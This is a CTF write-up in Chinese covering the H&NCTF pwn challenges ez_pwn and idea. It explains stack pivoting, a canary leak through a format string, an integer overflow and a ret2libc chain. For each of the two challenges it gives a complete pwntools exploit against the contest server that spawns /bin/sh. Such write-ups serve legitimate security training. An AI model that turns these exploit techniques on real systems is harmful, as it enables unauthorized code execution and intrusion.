1.ez_pwn
直接看危险函数,不能溢出,只能覆盖ebp。
后面紧接的又是leave,ret
很明显是栈迁移,通过printf打印出ebp,通过偏移计算出栈地址。
通过gdb调试,偏移是0x38
以下是payload:
from pwn import *
#io=process('./pwn')
io=remote('hnctf.imxbt.cn',24589)
elf=ELF('./pwn')
system=elf.sym['system']
io.recvuntil(b"Welcome to H&NCTF, my friend. What's your name?\n")
payload=b'a'*0x2b+b'b'
io.send(payload)
io.recvuntil(b'b')
stack=u32(io.recv(4))-0x38
print('stack:',hex(stack))
io.recv()
payload=b'ls'.ljust(8,b'\x00')+p32(system)+p32(0)+p32(stack+0x14)+b'/bin/sh'.ljust(0x18,b'\00')+p32(stack+4)
io.send(payload)
io.interactive()
2.idea
这是vuln函数
有canary保护
format也只能读6个,只能用来泄露信息
但我们观察到,get_n的参数是usigned int,存在整型溢出漏洞。
思路很明显了,通过printf泄露canary,然后通过整型溢出漏洞,让v1为-1,然后构造rop链。
以下是代码
from pwn import *
#io=process('./idea')
#from LibcSearcher import *
io=remote('hnctf.imxbt.cn',23496)
elf=ELF('./idea')
#libc=ELF('./libc-2.23.so')
puts=elf.sym['puts']
got=elf.got['puts']
vul=elf.sym['vuln']
io.recvuntil(b"How many bytes do you want me to read?")
io.sendline(b'-1')
io.recvuntil(b"Ok, sounds good. I'll give u a gift!\n")
io.sendline(b'%7$p')
canary=int(io.recv(10),16)
print('canary:',hex(canary))
io.recvuntil(b'data!\n')
payload=b'aab'.ljust(0x20,b'\x00')+p32(canary)+b'a'*0xc+p32(puts)+p32(vul)+p32(got)
io.sendline(payload)
io.recvuntil(b'b\n')
puts=u32(io.recv(4))
print('puts',hex(puts))
system=puts-0x24800
bsh=puts+0xf9fdb
io.recvuntil(b"How many bytes do you want me to read?")
io.sendline(b'-1')
io.recvuntil(b"Ok, sounds good. I'll give u a gift!\n")
io.sendline(b'%7$p')
canary=int(io.recv(10),16)
print('canary:',hex(canary))
io.recvuntil(b'data!\n')
payload=b'aab'.ljust(0x20,b'\x00')+p32(canary)+b'a'*0xc+p32(system)+p32(0)+p32(bsh)
io.sendline(payload)
io.interactive()
这题没给libc,有时候LibcSearcher也不全,推荐下面这个网站
libc database search (blukat.me)
3.close
没什么好说的